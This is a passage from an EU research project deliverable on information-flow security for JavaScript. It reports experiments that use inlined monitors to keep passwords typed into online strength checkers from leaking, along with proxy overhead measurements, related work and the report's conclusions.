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Security experiments Our experiments focus on password-strength checkers.
After the user inputs a password, the strength of the password is computed
according to some metric, and the result is displayed to the user, typically on
a scale from weak to strong. This type of service is ubiquitous on the web,
with service providers ranging from private web sites to web sites of national
telecommunication authorities.

Clearly, the confidentiality of the password needs protection. The strength of
the password is of no importance if the password is leaked. We have investigated
a number of password-strength services. Our experiments identify services that
enforce two types of policies: (i) allow the password to be sent back to the origin
web site, but not to any other site (suitable for server-side checkers); and (ii)
disallow the password to leave the browser (suitable for client-side checkers). The
first type places trust on the service provider not to abuse the password, while
the second type does not require such trust, in line with the principle of least
privilege [137]. Note that these policies are indistinguishable from SOP’s point of
view because SOP is not powerful enough to express the second type.

One seemingly reasonable way to enforce the second type of policy is to
isolate the service, i.e., prevent it from performing any communication. While
effective, such a stern approach risks breaking the functionality of the service. It
is common that pages employ usage statistics tracking such as Google Analytics.
Google Analytics requires that usage information is allowed to be gathered and
sent to Google for aggregation. Using information-flow tracking, we can allow
communication to Google Analytics but with the guarantee that the password will
not be leaked to it.

We have investigated a selection of sites8 that fall into the first category, and a
selection of sites9 that fall into the second category.

Of these, it is worth commenting on two sites, one from each category.
Interestingly, the first site, https://testalosenord.pts.se/, is provided by
the Swedish Post and Telecom Authority. The site contains a count of how
many passwords have been submitted to the service, with over 1,000,000 tried
passwords so far. It is unclear why the Swedish authority follows the policy that
requires more trust from the users.

The second site, http://www.getsecurepassword.com/CheckPassword.

aspx, is an example of a web site that uses Google Analytics. Our monitor
rightfully allows communication to Google while ensuring the password cannot

8 https://testalosenord.pts.se/, http://www.lbw-soft.de/, http://www.inutile.
ens.fr/estatis/password-security-checker/, https://passfault.appspot.com/password_
strength.html, and http://geodsoft.com/cgi-bin/pwcheck.pl.

9 http://www.getsecurepassword.com/CheckPassword.aspx, http://www.passwordmeter.
com/, http://howsecureismypassword.net, https://www.microsoft.com/en-gb/security/
pc-security/password-checker.aspx, https://www.grc.com/haystack.htm, and https://
www.my1login.com/password-strength-meter.php.

FP7-ICT-2009-5
Project No. 256964

https://testalosenord.pts.se/
http://www.getsecurepassword.com/CheckPassword.aspx
http://www.getsecurepassword.com/CheckPassword.aspx
https://testalosenord.pts.se/
http://www.lbw-soft.de/
http://www.inutile.ens.fr/estatis/password-security-checker/
http://www.inutile.ens.fr/estatis/password-security-checker/
https://passfault.appspot.com/password_strength.html
https://passfault.appspot.com/password_strength.html
http://geodsoft.com/cgi-bin/pwcheck.pl
http://www.getsecurepassword.com/CheckPassword.aspx
http://www.passwordmeter.com/
http://www.passwordmeter.com/
http://howsecureismypassword.net
https://www.microsoft.com/en-gb/security/pc-security/password-checker.aspx
https://www.microsoft.com/en-gb/security/pc-security/password-checker.aspx
https://www.grc.com/haystack.htm
https://www.my1login.com/password-strength-meter.php
https://www.my1login.com/password-strength-meter.php


D3.3: Information-flow policies and server-driven enforcement 153/172

be leaked anywhere outside the browser.
The benefit of the architectures for the scenario of password-strength checking

is that users can get strong security guarantees either by installing an extension,
using a web proxy, or a suffix proxy. In the latter two cases, the system and
network administrators have a stake in deciding what policies to enforce. Further,
the integrator architecture is an excellent fit for including a third-party password-
strength checker into web pages of a service, say a social web site, with no
information leaked to the third party.

Performance experiments As the performance tests evaluate the performance
of each approach rather than the associated monitor, we measure the time from
issuing the request until the response is fully received. We measure the average
overhead introduced by architectures compared to a reference sample of unmod-
ified requests. The overhead is measured against two of the password-strength
checkers listed previously, namely passwordmeter.com, over HTTP, and
testalosenord.pts.se, over HTTPS. Three out of the four architectures
are evaluated; the browser extension, the web proxy, and the suffix proxy. The
overhead of the integrator architecture is specific to the page that implements it,
and is therefore not comparable to the other three. The browser extension does
not begin executing until the browser has received the page and has begun parsing
it, therefore its response time is the same as with the extension disabled. Due to
the rewriting mechanism being closely related, the web proxy and the suffix proxy
show similar results. The results are shown in Table 4 and Table 5.

The tests were performed in the Firefox web browser under the Windows 7 64
bit SP1 operating system on a machine with a Intel Core i7-3250M 2.9 GHz CPU,
and 8 GB of memory.

Proxy Measurements (ms) Average (ms) Delta (ms) Overhead (%)
Reference 434, 420, 445, 443 435 0 0%
Browser extension 434, 420, 445, 443 435 0 0%
Web proxy 638, 690, 681, 781 697 +262 +60.2%
Suffix proxy 663, 775, 689, 694 705 +270 +62.0%

Table 4: Architecture overhead passwordmeter.com
Proxy Measurements (ms) Average (ms) Delta (ms) Overhead (%)
Reference 114, 240, 103, 104 140 0 0%
Browser extension 114, 240, 103, 104 140 0 0%
Web proxy 372, 308, 311, 305 324 +184 +131.4%
Suffix proxy 316, 314, 324, 333 321 +181 +129.2%

Table 5: Architecture overhead testalosenord.pts.se
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7.5 Related work
We first discuss the original work on reference monitors and their inlining, then
inlining for secure information flow, and, finally, inlining security checks in the
context of JavaScript.

Inlined reference monitors Anderson [7] introduces reference monitors and
outlines the basic principles, recounted in Section 7.1. Erlingsson and Schnei-
der [59, 58] instigate the area of inlining reference monitors. This work studies
both enforcement mechanisms and the policies that they are capable of enforc-
ing, with the focus on safety properties. Inlined reference monitors have been
proposed in a variety of languages and settings: from assembly code [59] to
Java [47, 48, 46].

Ligatti et al. [91] present a framework for enforcing security policies by
monitoring and modifying programs at runtime. They introduce edit automata
that enable monitors to stop, suppress, and modify the behavior of programs.

Inlining for secure information flow Language-based information-flow secu-
rity [132] features work on inlining monitor for security information flow. Secure
information flow is not a safety property [103], but can be approximated by safety
properties (e.g., [31, 134, 11]).

Chudnov and Naumann [37] have investigated an inlining approach to mon-
itoring information flow in a simple imperative language. They inline a flow-
sensitive hybrid monitor by Russo and Sabelfeld [129]. The soundness of the
inlined monitor is ensured by bisimulation of the inlined monitor and the original
monitor.

Magazinius et al. [98, 99] cope with dynamic code evaluation instructions by
inlining on-the-fly. Dynamic code evaluation instructions are rewritten to make
use of auxiliary functions that, when invoked at runtime, inject security checks
into the available string. The inlined code manipulates shadow variables to keep
track of the security labels of the program’s variables. In similar vein, Bello and
Bonelli [23] investigate on-the-fly inlining for a dynamic dependency analysis.

However, there are fundamental limits in the scalability of the shadow-variable
approach. The execution of a vast majority of the JavaScript operations (with
the prime example being the + operation) is dependent on the types of their
parameters. This might lead to coercions of the parameters that, in turn, may
invoke such operations as toString and valueOf. In order to take any side
effects of these methods into account, any operation that may case coercions must
be wrapped. The end result of this is that the inlined code ends up emulating the
interpreter, leaving no advantages to the shadow-variable approach.
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Inlining for secure JavaScript Inlining has been explored for JavaScript, al-
though focusing on simple properties or preventing against fixed classes of vulner-
abilities. A prominent example in the context of the web is BrowserShield [124]
by Reis et al. to instrument scripts with checks for known vulnerabilities.

Yu et al. [156] and Kikuchi et al. [123] present an instrumentation approach for
JavaScript in the browser. Their framework allows instrumented code to encode
edit automata-based policies.

Phung et al. [114] and Magazinius et al. [97] develop secure wrapping for
self-protecting JavaScript. This approach is based on wrapping built-in JavaScript
methods with secure wrappers that keep track of the security state and regulate
access to the original built-ins.

Agten et al. [4] present JSand, a server-driven client-side sandboxing frame-
work. The framework mediates attempts of untrusted code to access to resources
in the browser. In contrast to its predecessors such as ConScript [104], Web-
Jail [2], and Contego [92], the sandboxing is done purely at JavaScript level, re-
quiring no browser modification.

Despite the above progress on inlining security checks in JavaScript, achieving
information-flow security for client-side JavaScript by inlining has been out of
reach for the current methods [146, 39, 153, 77, 50] that either modify the browser
or perform the analysis out-of-the-browser.

7.6 Conclusions
Different stakeholders have different interests in the security of web applications.
We have presented architectures for inlining security monitors, to take into
account the security goals of the users, system and network administrators, and
service providers and integrators. We achieve great flexibility in the deployment
options by considering security monitors implemented as security-enhanced
JavaScript interpreters. The architectures allow deploying such a monitor in
a browser extension, web proxy, or web service. We have reported on the
security considerations and on the relative pros and cons for each architecture.
We have applied the architectures to inline an information-flow security monitor
for JavaScript. The security experiments show the flexibility in supporting the
different policies on the sensitive information from the user. The performance
experiments show reasonable overhead imposed by the architectures.

Future work is focused on two promising directions. Recall that the integrator
architecture relies on the developer to establish communication between the
monitored and unmonitored code. With the goal to relieve the integrator from
manual efforts, we develop a framework for secure communication that provides
explicit support for integrating and monitored and unmonitored code. The other

FP7-ICT-2009-5
Project No. 256964



D3.3: Information-flow policies and server-driven enforcement 156/172

direction we pursue is instantiating the architectures with a monitor for controlling
network communication bandwidth.
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8 Conclusion
This deliverable has reported on how to enforce secure information flow in web
applications and how to achieve flexible cooperative enforcement between the
server and the client.

With respect to the former we present two approaches. The first solution is
the use of a dynamic information flow monitor based on the ideas presented in
Section 2. This section develops a dynamic type system for enforcing secure
information flow for core features of JavaScript: objects, higher-order functions,
exceptions, and dynamic code evaluation. Our semantic model closely follows
the choices of the ECMA-262 standard (v.5) on the language constructs from the
core. We have established a formal guarantee that the type system guarantees
noninterference. As shown by the JSFlow prototype presented in Deliverable 3.2
our results provide a solid platform for tackling the rest of JavaScript.

While dynamic information-flow enforcement might seem to be a natural fit
for tackling languages with dynamic data structures, there are fundamental limits
of permissiveness of purely dynamic techniques. In relation to the approach
presented in Section 2, Section 3 demonstrates how to overcome these limits by
testing. We show that testing boosts the permissiveness of dynamic information-
flow enforcement by discovering places in code for automatic injection of
upgrade annotations. The inference of upgrade annotations ensures that the
dynamic analysis is more permissive than the static counterpart, without losing
soundness. Our experiments with the QuickCheck tool suggest that we achieve
the permissiveness of hybrid monitors without static analysis on a collection of
scenarios with rich information flows.

The second solution is to employ the ideas of secure multi-execution. Sec-
tion 4 discusses the design, implementation and evaluation of FlowFox, a browser
that extends Mozilla Firefox with a general, flexible and sound information flow
control mechanism. FloxFox provides evidence that information flow control can
be implemented in a full-scale web browser, and that doing so, supports power-
ful security policies without compromising compatibility. In relation, Section 5
pushes the boundary of what can be achieved with secure multi-execution. We
have overviewed the pros and cons of secure multi-executions and identified most
pressing challenges with it. This section pushes the boundary of what can be
achieved with secure multi-execution. First, we lift the assumption from the origi-
nal secure multi-execution work on the totality of the input environment (that there
is always assumed to be input) and on cooperative scheduling. Second, we gen-
eralize secure multi-execution to distinguish between security levels of presence
and content of messages. Third, we introduce a declassification model for secure
multi-execution that allows expressing what information can be released. Fourth,
we establish a full transparency result by barrier synchronization of the runs at
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different security levels. Full transparency guarantees that secure multi-execution
preserves the original order of messages in secure programs. We demonstrate
that full transparency is a key enabler for discovering attacks with secure multi-
execution.

Additionally, motivated by the desire to support web analytics in information
flow secure browsers, Section 6 proposes an approach to specify declassification
policies as simple reactive programs, and we have developed an enforcement
mechanism that we proved to be secure and precise. The mechanism has been
implemented in FlowFox providing evidence of practicality.

Finally, with respect to flexible cooperative enforcement, different stakehold-
ers have different interests in the security of web applications. Section 7 presents
architectures for inlining security monitors, taking into account the security goals
of the users, system and network administrators, and service providers and inte-
grators. We achieve great flexibility in the deployment options by considering
security monitors implemented as security-enhanced JavaScript interpreters. The
architectures allow deploying such a monitor in a browser extension, web proxy,
or web service. We have reported on the security considerations and on the relative
pros and cons for each architecture. We have applied the architectures to inline an
information-flow security monitor for JavaScript. The security experiments show
the flexibility in supporting the different policies on the sensitive information from
the user. The performance experiments show reasonable overhead imposed by the
architectures.
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